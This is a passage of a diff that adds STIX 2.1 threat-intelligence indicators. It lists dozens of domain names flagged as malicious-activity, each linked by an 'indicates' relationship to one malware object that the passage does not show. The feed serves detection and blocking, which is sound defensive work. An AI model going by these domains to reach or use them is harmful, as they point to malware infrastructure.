"indicator--eb2dfd3a-c813-4405-9fbf-ddde2899b9aa", + "created": "2023-03-29T12:58:43.415419Z", + "modified": "2023-03-29T12:58:43.415419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sprungkebab.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.415419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eecf4dfe-764d-4d7c-88d3-95b8eeec24f0", + "created": "2023-03-29T12:58:43.416327Z", + "modified": "2023-03-29T12:58:43.416327Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb2dfd3a-c813-4405-9fbf-ddde2899b9aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b00ddb28-b4bc-4b26-87ed-807fef683a31", + "created": "2023-03-29T12:58:43.416507Z", + "modified": "2023-03-29T12:58:43.416507Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commodityutopia.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.416507Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5496b6bc-7b3a-4fc6-881f-bc95deb42771", + "created": "2023-03-29T12:58:43.417173Z", + "modified": "2023-03-29T12:58:43.417173Z", + "relationship_type": "indicates", + "source_ref": "indicator--b00ddb28-b4bc-4b26-87ed-807fef683a31", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9076301-d1c6-417a-bf59-01ecfde4c34b", + "created": "2023-03-29T12:58:43.417346Z", + "modified": "2023-03-29T12:58:43.417346Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glidingcoral.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.417346Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--516f160d-c1a5-480c-be33-c7a9c14ee857", + "created": "2023-03-29T12:58:43.418088Z", + "modified": "2023-03-29T12:58:43.418088Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9076301-d1c6-417a-bf59-01ecfde4c34b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5e783ff-7847-4268-b9c4-b73977312e9b", + "created": "2023-03-29T12:58:43.418278Z", + "modified": "2023-03-29T12:58:43.418278Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gemcopackages.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.418278Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3cf8aaf-5153-4b62-ba31-d258fc17007f", + "created": "2023-03-29T12:58:43.418939Z", + "modified": "2023-03-29T12:58:43.418939Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5e783ff-7847-4268-b9c4-b73977312e9b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63fc5ec4-4c19-43a9-99a0-8a5df371a2e5", + "created": "2023-03-29T12:58:43.419116Z", + "modified": "2023-03-29T12:58:43.419116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scarinessembattled.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.419116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--20a2fdc8-fe6f-408c-b1f6-9d4506269e11", + "created": "2023-03-29T12:58:43.419776Z", + "modified": "2023-03-29T12:58:43.419776Z", + "relationship_type": "indicates", + "source_ref": "indicator--63fc5ec4-4c19-43a9-99a0-8a5df371a2e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6b4b64f-d122-43ef-a28c-62bc1a64c2e7", + "created": "2023-03-29T12:58:43.419948Z", + "modified": "2023-03-29T12:58:43.419948Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='encryptoverflow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.419948Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3fd90849-5417-4129-b3f1-94c75858ec20", + "created": "2023-03-29T12:58:43.420684Z", + "modified": "2023-03-29T12:58:43.420684Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6b4b64f-d122-43ef-a28c-62bc1a64c2e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ce04826-1c1f-4504-b907-1f617920947b", + "created": "2023-03-29T12:58:43.42086Z", + "modified": "2023-03-29T12:58:43.42086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='my-tempo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.42086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae4cfa47-58e6-4220-a488-8e0d7575cc7a", + "created": "2023-03-29T12:58:43.4215Z", + "modified": "2023-03-29T12:58:43.4215Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ce04826-1c1f-4504-b907-1f617920947b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--568bd40f-a002-4833-bb8b-d6ffbd4a9b60", + "created": "2023-03-29T12:58:43.421682Z", + "modified": "2023-03-29T12:58:43.421682Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncaringantitrust.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.421682Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2fb2ed0-bc15-4412-80c0-0384f9ceed45", + "created": "2023-03-29T12:58:43.422425Z", + "modified": "2023-03-29T12:58:43.422425Z", + "relationship_type": "indicates", + "source_ref": "indicator--568bd40f-a002-4833-bb8b-d6ffbd4a9b60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33cbae05-8e62-4a44-9a4a-1eb4e3c1953e", + "created": "2023-03-29T12:58:43.422601Z", + "modified": "2023-03-29T12:58:43.422601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oozybankroll.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.422601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0a33b16-580e-43d1-9d54-075286ec28fb", + "created": "2023-03-29T12:58:43.423397Z", + "modified": "2023-03-29T12:58:43.423397Z", + "relationship_type": "indicates", + "source_ref": "indicator--33cbae05-8e62-4a44-9a4a-1eb4e3c1953e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb9a44c0-ad2c-409a-a705-9f653c5ba550", + "created": "2023-03-29T12:58:43.423571Z", + "modified": "2023-03-29T12:58:43.423571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='splicingchildlike.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.423571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba103aaf-d883-473f-81db-0e9211196e62", + "created": "2023-03-29T12:58:43.424232Z", + "modified": "2023-03-29T12:58:43.424232Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb9a44c0-ad2c-409a-a705-9f653c5ba550", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2396380d-b7b5-4cf1-ba83-6f44ebd00a48", + "created": "2023-03-29T12:58:43.424422Z", + "modified": "2023-03-29T12:58:43.424422Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='extraditesubarctic.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.424422Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb53732f-8738-4841-9ec1-f33cd93aaf5b", + "created": "2023-03-29T12:58:43.425213Z", + "modified": "2023-03-29T12:58:43.425213Z", + "relationship_type": "indicates", + "source_ref": "indicator--2396380d-b7b5-4cf1-ba83-6f44ebd00a48", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce1292fe-ae9e-4780-976a-23aaa2b06e60", + "created": "2023-03-29T12:58:43.425387Z", + "modified": "2023-03-29T12:58:43.425387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='postnasaljiffy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.425387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f8d7094-7e5f-4cc6-b874-8967e16a1dd0", + "created": "2023-03-29T12:58:43.426186Z", + "modified": "2023-03-29T12:58:43.426186Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce1292fe-ae9e-4780-976a-23aaa2b06e60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1cde852-a242-4ea3-a66b-01fd25ebec83", + "created": "2023-03-29T12:58:43.426363Z", + "modified": "2023-03-29T12:58:43.426363Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zaracommercio.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.426363Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--21c2a043-87b0-4873-9a24-5c21a3d35103", + "created": "2023-03-29T12:58:43.427127Z", + "modified": "2023-03-29T12:58:43.427127Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1cde852-a242-4ea3-a66b-01fd25ebec83", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b98f7038-5a4c-4d00-be9d-236ba01ddfa5", + "created": "2023-03-29T12:58:43.42731Z", + "modified": "2023-03-29T12:58:43.42731Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perkinesstiara.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.42731Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3646821-c8cb-47dd-b3e4-46d9c288ea0a", + "created": "2023-03-29T12:58:43.427974Z", + "modified": "2023-03-29T12:58:43.427974Z", + "relationship_type": "indicates", + "source_ref": "indicator--b98f7038-5a4c-4d00-be9d-236ba01ddfa5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8a2b041-443c-4ab9-9b8f-97a5c4d1e395", + "created": "2023-03-29T12:58:43.428148Z", + "modified": "2023-03-29T12:58:43.428148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='naturesblocks.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.428148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a893645e-3d57-4288-8280-a22e803e72c2", + "created": "2023-03-29T12:58:43.428871Z", + "modified": "2023-03-29T12:58:43.428871Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8a2b041-443c-4ab9-9b8f-97a5c4d1e395", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3693213d-7db2-4df7-b0bd-00eebb7cbd36", + "created": "2023-03-29T12:58:43.429046Z", + "modified": "2023-03-29T12:58:43.429046Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='starshiphurt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.429046Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec37855a-fba0-45d4-9eec-48172ee77caf", + "created": "2023-03-29T12:58:43.429717Z", + "modified": "2023-03-29T12:58:43.429717Z", + "relationship_type": "indicates", + "source_ref": "indicator--3693213d-7db2-4df7-b0bd-00eebb7cbd36", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98ce5074-e9d5-41ee-a1f3-eda714d2479c", + "created": "2023-03-29T12:58:43.429892Z", + "modified": "2023-03-29T12:58:43.429892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suctiongravel.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.429892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d097292-873e-42a4-8a7c-1b07dd9c1bb9", + "created": "2023-03-29T12:58:43.430541Z", + "modified": "2023-03-29T12:58:43.430541Z", + "relationship_type": "indicates", + "source_ref": "indicator--98ce5074-e9d5-41ee-a1f3-eda714d2479c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--014a0832-86e4-4783-a139-c3f5d316f1fe", + "created": "2023-03-29T12:58:43.430718Z", + "modified": "2023-03-29T12:58:43.430718Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='avidunleaded.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.430718Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc125d8f-d81c-4d5f-935d-72c71c6c728a", + "created": "2023-03-29T12:58:43.431354Z", + "modified": "2023-03-29T12:58:43.431354Z", + "relationship_type": "indicates", + "source_ref": "indicator--014a0832-86e4-4783-a139-c3f5d316f1fe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46980d54-9adf-4830-ac20-5bd3614df72c", + "created": "2023-03-29T12:58:43.431528Z", + "modified": "2023-03-29T12:58:43.431528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hotelstardust.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.431528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--882c5024-bdb3-429a-a9d1-37c00fa354f7", + "created": "2023-03-29T12:58:43.432239Z", + "modified": "2023-03-29T12:58:43.432239Z", + "relationship_type": "indicates", + "source_ref": "indicator--46980d54-9adf-4830-ac20-5bd3614df72c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f801a2f1-b6e3-43cd-9dbb-c545b0694c01", + "created": "2023-03-29T12:58:43.432413Z", + "modified": "2023-03-29T12:58:43.432413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pizzafontario.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.432413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9283de39-6e40-4633-80f5-fa703a521640", + "created": "2023-03-29T12:58:43.433162Z", + "modified": "2023-03-29T12:58:43.433162Z", + "relationship_type": "indicates", + "source_ref": "indicator--f801a2f1-b6e3-43cd-9dbb-c545b0694c01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0529c826-1a33-4ac5-a289-e32eefaccefa", + "created": "2023-03-29T12:58:43.43334Z", + "modified": "2023-03-29T12:58:43.43334Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comingricotta.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.43334Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--007502ec-1760-4cb8-95a8-86751c3569aa", + "created": "2023-03-29T12:58:43.433985Z", + "modified": "2023-03-29T12:58:43.433985Z", + "relationship_type": "indicates", + "source_ref": "indicator--0529c826-1a33-4ac5-a289-e32eefaccefa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9c40f6b-6521-4261-836a-64f0f94a7a24", + "created": "2023-03-29T12:58:43.434159Z", + "modified": "2023-03-29T12:58:43.434159Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dwarfscoff.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.434159Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e7cbe2d-55b5-4359-8cde-eff907502427", + "created": "2023-03-29T12:58:43.434865Z", + "modified": "2023-03-29T12:58:43.434865Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9c40f6b-6521-4261-836a-64f0f94a7a24", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33f056d8-b9ce-4a0f-afe8-3e2f5e1abf20", + "created": "2023-03-29T12:58:43.43504Z", + "modified": "2023-03-29T12:58:43.43504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aortauncapped.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.43504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a47ad4f-75f8-483f-a65c-659514a8e6fc", + "created": "2023-03-29T12:58:43.435673Z", + "modified": "2023-03-29T12:58:43.435673Z", + "relationship_type": "indicates", + "source_ref": "indicator--33f056d8-b9ce-4a0f-afe8-3e2f5e1abf20", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8a0ce74-5fa9-4ac3-ae23-1291fbe7fe8d", + "created": "2023-03-29T12:58:43.435848Z", + "modified": "2023-03-29T12:58:43.435848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suitcasefling.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.435848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40d366ef-e2c0-44bb-bee1-1ab84e7eb097", + "created": "2023-03-29T12:58:43.436483Z", + "modified": "2023-03-29T12:58:43.436483Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8a0ce74-5fa9-4ac3-ae23-1291fbe7fe8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09007646-cfc3-47b7-b26c-8863d5babca9", + "created": "2023-03-29T12:58:43.436655Z", + "modified": "2023-03-29T12:58:43.436655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='livelyvertigo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.436655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe7b4a54-c4d8-4227-ad40-d2bc4e7b314d", + "created": "2023-03-29T12:58:43.437371Z", + "modified": "2023-03-29T12:58:43.437371Z", + "relationship_type": "indicates", + "source_ref": "indicator--09007646-cfc3-47b7-b26c-8863d5babca9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--203b7595-01b6-4e65-b2a1-8fd42e1a2aca", + "created": "2023-03-29T12:58:43.437565Z", + "modified": "2023-03-29T12:58:43.437565Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='themeswellcare.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.437565Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffe7da0a-a451-43f8-b754-72ae9f4ddf37", + "created": "2023-03-29T12:58:43.43829Z", + "modified": "2023-03-29T12:58:43.43829Z", + "relationship_type": "indicates", + "source_ref": "indicator--203b7595-01b6-4e65-b2a1-8fd42e1a2aca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae2a6a05-458b-42f9-a3bf-1536417e1ab0", + "created": "2023-03-29T12:58:43.438465Z", + "modified": "2023-03-29T12:58:43.438465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='friskunluckily.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.438465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d56304a4-4d09-4f04-be1c-846adcfa8e1b", + "created": "2023-03-29T12:58:43.439185Z", + "modified": "2023-03-29T12:58:43.439185Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae2a6a05-458b-42f9-a3bf-1536417e1ab0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e725d74e-ac3c-4e45-b411-b7f42f0887b6", + "created": "2023-03-29T12:58:43.43936Z", + "modified": "2023-03-29T12:58:43.43936Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jugglingcarton.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.43936Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65e47122-dc31-4662-bd2c-027608e8a660", + "created": "2023-03-29T12:58:43.44009Z", + "modified": "2023-03-29T12:58:43.44009Z", + "relationship_type": "indicates", + "source_ref": "indicator--e725d74e-ac3c-4e45-b411-b7f42f0887b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6e8d889-1929-40fd-857d-08bba645a61e", + "created": "2023-03-29T12:58:43.440267Z", + "modified": "2023-03-29T12:58:43.440267Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skewerart.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.440267Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d158265-eec7-453c-80f5-791a96052ac9", + "created": "2023-03-29T12:58:43.441012Z", + "modified": "2023-03-29T12:58:43.441012Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6e8d889-1929-40fd-857d-08bba645a61e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a3d1e3b-6717-43d3-9f43-65e366275737", + "created": "2023-03-29T12:58:43.441229Z", + "modified": "2023-03-29T12:58:43.441229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='turbanopossum.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.441229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--633d91c4-d04a-40c6-b47b-2fac24730dbd", + "created": "2023-03-29T12:58:43.44188Z", + "modified": "2023-03-29T12:58:43.44188Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a3d1e3b-6717-43d3-9f43-65e366275737", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3029876-ae39-46c5-8b2c-5229511867c0", + "created": "2023-03-29T12:58:43.442059Z", + "modified": "2023-03-29T12:58:43.442059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safeguarddivorcee.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.442059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c5f6f21-3b41-4f96-b9e0-b32536a9a297", + "created": "2023-03-29T12:58:43.442697Z", + "modified": "2023-03-29T12:58:43.442697Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3029876-ae39-46c5-8b2c-5229511867c0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2826f26b-9d71-4f35-ad2f-254eeb4fc310", + "created": "2023-03-29T12:58:43.44287Z", + "modified": "2023-03-29T12:58:43.44287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='launderpsychic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.44287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53e3e725-4dab-4ff1-910a-c9e8c1aa388c", + "created": "2023-03-29T12:58:43.443544Z", + "modified": "2023-03-29T12:58:43.443544Z", + "relationship_type": "indicates", + "source_ref": "indicator--2826f26b-9d71-4f35-ad2f-254eeb4fc310", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--15b2796a-8a08-4052-9156-260d9eacd390", + "created": "2023-03-29T12:58:43.443721Z", + "modified": "2023-03-29T12:58:43.443721Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bluewaterwaves.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.443721Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ec14762-dd64-4872-8a0c-63e3642f8ab7", + "created": "2023-03-29T12:58:43.444435Z", + "modified": "2023-03-29T12:58:43.444435Z", + "relationship_type": "indicates", + "source_ref": "indicator--15b2796a-8a08-4052-9156-260d9eacd390", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8d4e2d9b-ecaf-4a72-a8d4-2dffbfda2256", + "created": "2023-03-29T12:58:43.444611Z", + "modified": "2023-03-29T12:58:43.444611Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coverconnections.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.444611Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afe822aa-78bd-4c2d-a478-eeea5b00460c", + "created": "2023-03-29T12:58:43.445248Z", + "modified": "2023-03-29T12:58:43.445248Z", + "relationship_type": "indicates", + "source_ref": "indicator--8d4e2d9b-ecaf-4a72-a8d4-2dffbfda2256", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e2703c8-490e-4092-b644-b7207499a6ab", + "created": "2023-03-29T12:58:43.44542Z", + "modified": "2023-03-29T12:58:43.44542Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resurrectconstable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.44542Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c086eca7-ad56-4189-85ac-7130d868cfb2", + "created": "2023-03-29T12:58:43.446145Z", + "modified": "2023-03-29T12:58:43.446145Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e2703c8-490e-4092-b644-b7207499a6ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d4009da-7379-4143-ae9e-771efd144ccf", + "created": "2023-03-29T12:58:43.446321Z", + "modified": "2023-03-29T12:58:43.446321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subarcticthigh.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.446321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e7df01c-4592-4b99-bf8d-89097c875a28", + "created": "2023-03-29T12:58:43.446954Z", + "modified": "2023-03-29T12:58:43.446954Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d4009da-7379-4143-ae9e-771efd144ccf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20bcafd9-4f22-4f6e-b1b4-0f041b2dbe09", + "created": "2023-03-29T12:58:43.447131Z", + "modified": "2023-03-29T12:58:43.447131Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outerlecturer.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.447131Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ca18f1d-0a9e-47a5-ba11-d1c7f6667a46", + "created": "2023-03-29T12:58:43.447764Z", + "modified": "2023-03-29T12:58:43.447764Z", + "relationship_type": "indicates", + 